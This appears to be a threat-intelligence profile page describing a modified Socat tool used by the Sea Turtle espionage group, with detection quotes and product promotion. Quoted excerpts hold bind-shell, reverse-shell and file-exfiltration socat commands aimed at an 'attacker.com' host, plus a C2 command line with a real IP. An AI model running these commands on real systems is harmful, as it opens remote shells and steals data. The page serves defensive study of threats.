Loading malware…
Socat is a legitimate command-line utility for bidirectional data transfer between network connections and other endpoints. Sea Turtle has used a modified form of Socat to establish command-and-control channels during cyberespionage operations. The observed use was associated with intrusions into Linux/Unix cPanel hosting environments and complemented the group’s reverse-shell tooling.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
1 distinct threat actor attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
A modified version of the tool Socat used by Sea Turtle to setup a command-and-control channel.
19 distinct techniques documented for this family, organized by ATT&CK tactic.
“The following analytic detects the execution of the socat utility with command-line arguments that configure a TCP or OpenSSL listener and bind an executable to incoming connections.”
Sea Turtle... exfiltrated a copy of the email archive... through a command-and-control (C2) channel using TCP and HTTP.
"socat TCP-LISTEN:8080,fork TCP:target-machine:80" ... "creates a bridge between port 8080 on your machine and port 80 on the target."
One Python script created multiple Windows portproxy rules and opened a matching firewall rule; a companion shell script started attacker-side socat listeners.
Examples include "socat tcp-listen:12345 ... exec:/bin/sh" and "socat tcp-connect:attacker.com:12345 exec:/bin/sh".
The content shows transferring data with "socat -u file:/path/to/input-file tcp-connect:attacker.com:12345" and receiving it with netcat or socat listeners.
On receipt of this command, socat runs with following command line: "socat OPENSSL:193[.]218[.]118[.]190:4442,verify=0 EXEC:{OS Command}"
“Socat is a legitimate network utility, but this behavior may be used to expose executables, establish bind shells, facilitate remote command execution, or support lateral movement.”
1 indicator attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
Other indicator types observed in public reporting.
2 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
A modified form of Socat is believed to have been used by Sea Turtle to set up command-and-control channels for SnappyTCP operations.
A modified version of Socat was used by Sea Turtle to establish command-and-control communications.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.